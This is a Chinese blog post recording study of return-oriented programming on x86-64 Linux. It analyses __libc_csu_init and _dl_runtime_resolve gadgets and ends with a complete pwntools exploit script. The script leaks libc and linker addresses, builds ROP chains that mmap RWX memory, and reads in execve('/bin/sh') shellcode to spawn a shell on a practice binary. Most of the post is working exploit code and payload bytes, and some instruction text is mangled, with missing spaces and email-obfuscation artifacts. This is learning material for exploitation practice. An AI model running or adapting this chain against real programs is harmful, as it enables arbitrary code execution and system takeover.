ROP之gadgets分析记录

申明

这篇和上两篇是我学习蒸米《一步一步学习ROP》系列文章的记录

个人感觉这一系列文章关键就是泄露write地址,其他的根据这个泄露
利用_dl_runtime_resolve+0x35和__libc_csu_init处的gadgets来实现代码

__libc_csu_init处的gadgets的只能实现三个参数的调用、
_dl_runtime_resolve+0x35处的gadgets可以实现六个参数的调用

0x7ffff7def235 <_dl_runtime_resolve+53>:    mov    r11,rax
0x7ffff7def238 <_dl_runtime_resolve+56>:    mov    r9,QWORD PTR [rsp+0x30]
0x7ffff7def23d <_dl_runtime_resolve+61>:    mov    r8,QWORD PTR [rsp+0x28]
0x7ffff7def242 <_dl_runtime_resolve+66>:    movrdi,QWORD PTR [rsp+0x20]
0x7ffff7def247 <_dl_runtime_resolve+71>:    movrsi,QWORD PTR [rsp+0x18]
0x7ffff7def24c <_dl_runtime_resolve+76>:    movrdx,QWORD PTR [rsp+0x10]
0x7ffff7def251 <_dl_runtime_resolve+81>:    movrcx,QWORD PTR [rsp+0x8]
0x7ffff7def256 <_dl_runtime_resolve+86>:    movrax,QWORD PTR [rsp]
0x7ffff7def25a <_dl_runtime_resolve+90>:    add    rsp,0x48
0x7ffff7def25e <_dl_runtime_resolve+94>:    jmp    r11
0x0000000000400606 <+102>:   movrbx,QWORD PTR [rsp+0x8]
   0x000000000040060b <+107>:   movrbp,QWORD PTR [rsp+0x10]
   0x0000000000400610 <+112>:   mov    r12,QWORD PTR [rsp+0x18]
   0x0000000000400615 <+117>:   mov    r13,QWORD PTR [rsp+0x20]
   0x000000000040061a <+122>:   mov    r14,QWORD PTR [rsp+0x28]
   0x000000000040061f <+127>:   mov    r15,QWORD PTR [rsp+0x30]
   0x0000000000400624 <+132>:   add    rsp,0x38
   0x0000000000400628 <+136>:   ret  

_init
_start
call_gmon_start
deregister_tm_clones
register_tm_clones
__do_global_dtors_aux
frame_dummy
__libc_csu_init
__libc_csu_fini
_fini

objdump -d -j .plt level2   //查看plt函数和函数对应的got表

objdump -R level2          //got表

objdump -d ./level5观察一下__libc_csu_init()
gdb-peda$ disas __libc_csu_init

gdb-peda$ x/5i 0x000000000040061b

x/x 0x600ff8

ROPgadget --binary libc.so.6 --only "pop|ret" | grep "rax"
400606:   48 8b 5c 24 08          mov    0x8(%rsp),%rbx
  40060b:   48 8b 6c 24 10          mov    0x10(%rsp),%rbp
  400610:   4c 8b 64 24 18          mov    0x18(%rsp),%r12
  400615:   4c 8b 6c 24 20          mov    0x20(%rsp),%r13
  40061a:   4c 8b 74 24 28          mov    0x28(%rsp),%r14
  40061f:   4c 8b 7c 24 30          mov    0x30(%rsp),%r15
  400624:   48 83 c4 38             add    $0x38,%rsp
  400628:   c3                      retq   

gdb-peda$ x/5i 0x000000000040061a
   0x40061a <__libc_csu_init+122>:  mov    r14,QWORD PTR [rsp+0x28]
   0x40061f <__libc_csu_init+127>:  mov    r15,QWORD PTR [rsp+0x30]
   0x400624 <__libc_csu_init+132>:  add    rsp,0x38
   0x400628 <__libc_csu_init+136>:  ret  

gdb-peda$ x/5i 0x000000000040061b
   0x40061b <__libc_csu_init+123>:  movesi,DWORD PTR [rsp+0x28]
   0x40061f <__libc_csu_init+127>:  mov    r15,QWORD PTR [rsp+0x30]
   0x400624 <__libc_csu_init+132>:  add    rsp,0x38
   0x400628 <__libc_csu_init+136>:  ret    
   0x400629:    nop    DWORD PTR [rax+0x0]
gdb-peda$ x/5i 0x0000000000400620
   0x400620 <__libc_csu_init+128>:  movedi,DWORD PTR [rsp+0x30]
   0x400624 <__libc_csu_init+132>:  add    rsp,0x38
   0x400628 <__libc_csu_init+136>:  ret    
   0x400629:    nop    DWORD PTR [rax+0x0]
   0x400630 <__libc_csu_fini>:  repz ret 

上面几个地址用来控制参数的各个寄存器
我们测试的目标程序还是level5。在exp中,我们首先用上一篇中提到的_dl_runtime_resolve中的通用gadgets泄露出got_write和_dl_runtime_resolve的地址。

通过反编译level5程序我们可以看到email protected这个函数使用PLT [0] 去查找write函数在内存中的地址,函数jump过去的地址*0x600ff8其实就是_dl_runtime_resolve()在内存中的地址了。所以只要获取到0x600ff8这个地址保存的数据,就能够找到_dl_runtime_resolve()在内存中的地址:


0000000000400420 <[email protected]>:
  400420:   ff 35 ca 0b 20 00       pushq  0x200bca(%rip)        # 600ff0 <_GLOBAL_OFFSET_TABLE_+0x8>
  400426:   ff 25 cc 0b 20 00       jmpq   *0x200bcc(%rip)        # 600ff8 <_GLOBAL_OFFSET_TABLE_+0x10>
  40042c:   0f 1f 40 00             nopl   0x0(%rax)

gdb-peda$ x/x 0x600ff8
0x600ff8 <_GLOBAL_OFFSET_TABLE_+16>:    0x00007ffff7def200

gdb-peda$ x/21i 0x00007ffff7def200
   0x7ffff7def200 <_dl_runtime_resolve>:    sub    rsp,0x38
   0x7ffff7def204 <_dl_runtime_resolve+4>:  mov    QWORD PTR [rsp],rax
   0x7ffff7def208 <_dl_runtime_resolve+8>:  mov    QWORD PTR [rsp+0x8],rcx
   0x7ffff7def20d <_dl_runtime_resolve+13>: mov    QWORD PTR 
[rsp+0x10],rdx
….

got_write = elf.got[‘write’]
plt_read = elf.symbols[‘read’]

有符号可以按上面的方法获取函数地址
第一个是调用过的函数的地址获取方式
第二个是头次调用函数的调用方式

_dl_runtime_resolve()在got和plt中没有符号,但是类似符号的地址可以在got[2]的值上找到,然后就可以压栈泄露出真正的地址。


#!python
#rdi=  edi = r13,  rsi = r14, rdx = r15 
#write(rdi=1, rsi=write.got, rdx=4)
payload1 =  "\x00"*136
payload1 += p64(0x400606) + p64(0) +p64(0) + p64(1) + p64(got_write) + p64(1) + p64(got_write) + p64(8) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
payload1 += p64(0x4005F0) # movrdx, r15; movrsi, r14; movedi, r13d; call qword ptr [r12+rbx*8]
payload1 += "\x00"*56
payload1 += p64(main)

#rdi=  edi = r13,  rsi = r14, rdx = r15 
#write(rdi=1, rsi=linker_point, rdx=4)
payload2 =  "\x00"*136
payload2 += p64(0x400606) + p64(0) +p64(0) + p64(1) + p64(got_write) + p64(1) + p64(linker_point) + p64(8) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
payload2 += p64(0x4005F0) # movrdx, r15; movrsi, r14; movedi, r13d; call qword ptr [r12+rbx*8]
payload2 += "\x00"*56
payload2 += p64(main)

随后就可以根据偏移量和泄露的地址计算出其他gadgets的地址。

#!python
shellcode = ( "\x48\x31\xc0\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e" +
              "\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89" +
              "\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05" )

shellcode_addr = 0xbeef0000

#mmap(rdi=shellcode_addr, rsi=1024, rdx=7, rcx=34, r8=0, r9=0)
payload3 =  "\x00"*136
payload3 += p64(pop_rax_ret) + p64(mmap_addr)
payload3 += p64(linker_addr+0x35) + p64(0) + p64(34) + p64(7) + p64(1024) + p64(shellcode_addr) + p64(0) + p64(0) + p64(0) + p64(0)

#read(rdi=0, rsi=shellcode_addr, rdx=1024)
payload3 += p64(pop_rax_ret) + p64(plt_read)
payload3 += p64(linker_addr+0x35) + p64(0) + p64(0) + p64(1024) + p64(shellcode_addr) + p64(0) + p64(0) + p64(0) + p64(0) + p64(0)

payload3 += p64(shellcode_addr)

然后我们利用_dl_runtime_resolve里的通用gadgets调用mmap(rdi=shellcode_addr, rsi=1024, rdx=7, rcx=34, r8=0, r9=0),开辟一段RWX的内存在0xbeef0000处。随后我们使用read(rdi=0, rsi=shellcode_addr, rdx=1024),把我们想要执行的shellcode读入到0xbeef0000这段内存中。最后再将指针跳转到shellcode处就可执行我们想要执行的任意代码了。

完整的exp8.py代码如下:

#!python
#!/usr/bin/env python
frompwn import *    

elf = ELF('level5')
libc = ELF('libc.so.6') 

p = process('./level5')
#p = remote('127.0.0.1',10001)  

got_write = elf.got['write']
print "got_write: " + hex(got_write)
got_read = elf.got['read']
print "got_read: " + hex(got_read)
plt_read = elf.symbols['read']
print "plt_read: " + hex(plt_read)
linker_point = 0x600ff8
print "linker_point: " + hex(linker_point)
got_pop_rax_ret = 0x0000000000023970
print "got_pop_rax_ret: " + hex(got_pop_rax_ret)    

main = 0x400564 

off_system_addr = libc.symbols['write'] - libc.symbols['system']
print "off_system_addr: " + hex(off_system_addr)
off_mmap_addr = libc.symbols['write'] - libc.symbols['mmap']
print "off_mmap_addr: " + hex(off_mmap_addr)
off_pop_rax_ret = libc.symbols['write'] - got_pop_rax_ret
print "off_pop_rax_ret: " + hex(off_pop_rax_ret)    

#rdi=  edi = r13,  rsi = r14, rdx = r15 
#write(rdi=1, rsi=write.got, rdx=4)
payload1 =  "\x00"*136
payload1 += p64(0x400606) + p64(0) +p64(0) + p64(1) + p64(got_write) + p64(1) + p64(got_write) + p64(8) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
payload1 += p64(0x4005F0) # movrdx, r15; movrsi, r14; movedi, r13d; call qword ptr [r12+rbx*8]
payload1 += "\x00"*56
payload1 += p64(main)   

p.recvuntil("Hello, World\n")   

print "\n#############sending payload1#############\n"
p.send(payload1)
sleep(1)    

write_addr = u64(p.recv(8))
print "write_addr: " + hex(write_addr)
mmap_addr = write_addr - off_mmap_addr
print "mmap_addr: " + hex(mmap_addr)
pop_rax_ret = write_addr - off_pop_rax_ret
print "pop_rax_ret: " + hex(pop_rax_ret)    

#rdi=  edi = r13,  rsi = r14, rdx = r15 
#write(rdi=1, rsi=linker_point, rdx=4)
payload2 =  "\x00"*136
payload2 += p64(0x400606) + p64(0) +p64(0) + p64(1) + p64(got_write) + p64(1) + p64(linker_point) + p64(8) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
payload2 += p64(0x4005F0) # movrdx, r15; movrsi, r14; movedi, r13d; call qword ptr [r12+rbx*8]
payload2 += "\x00"*56
payload2 += p64(main)   

p.recvuntil("Hello, World\n")   

print "\n#############sending payload2#############\n"
p.send(payload2)
sleep(1)    

linker_addr = u64(p.recv(8))
print "linker_addr + 0x35: " + hex(linker_addr + 0x35)  

p.recvuntil("Hello, World\n")   

shellcode = ( "\x48\x31\xc0\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e" +
              "\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89" +
              "\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05" )  


#   GADGET
#   0x7ffff7def235 <_dl_runtime_resolve+53>:    mov    r11,rax
#   0x7ffff7def238 <_dl_runtime_resolve+56>:    mov    r9,QWORD PTR [rsp+0x30]
#   0x7ffff7def23d <_dl_runtime_resolve+61>:    mov    r8,QWORD PTR [rsp+0x28]
#   0x7ffff7def242 <_dl_runtime_resolve+66>:    movrdi,QWORD PTR [rsp+0x20]
#   0x7ffff7def247 <_dl_runtime_resolve+71>:    movrsi,QWORD PTR [rsp+0x18]
#   0x7ffff7def24c <_dl_runtime_resolve+76>:    movrdx,QWORD PTR [rsp+0x10]
#   0x7ffff7def251 <_dl_runtime_resolve+81>:    movrcx,QWORD PTR [rsp+0x8]
#   0x7ffff7def256 <_dl_runtime_resolve+86>:    movrax,QWORD PTR [rsp]
#   0x7ffff7def25a <_dl_runtime_resolve+90>:    add    rsp,0x48
#   0x7ffff7def25e <_dl_runtime_resolve+94>:    jmp    r11  

shellcode_addr = 0xbeef0000 

#mmap(rdi=shellcode_addr, rsi=1024, rdx=7, rcx=34, r8=0, r9=0)
payload3 =  "\x00"*136
payload3 += p64(pop_rax_ret) + p64(mmap_addr)
payload3 += p64(linker_addr+0x35) + p64(0) + p64(34) + p64(7) + p64(1024) + p64(shellcode_addr) + p64(0) + p64(0) + p64(0) + p64(0) 

#read(rdi=0, rsi=shellcode_addr, rdx=1024)
payload3 += p64(pop_rax_ret) + p64(plt_read)
payload3 += p64(linker_addr+0x35) + p64(0) + p64(0) + p64(1024) + p64(shellcode_addr) + p64(0) + p64(0) + p64(0) + p64(0) + p64(0)  

payload3 += p64(shellcode_addr) 

print "\n#############sending payload3#############\n"
p.send(payload3)
sleep(1)    

#raw_input()    

p.send(shellcode+"\n")
sleep(1)    

p.interactive()
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值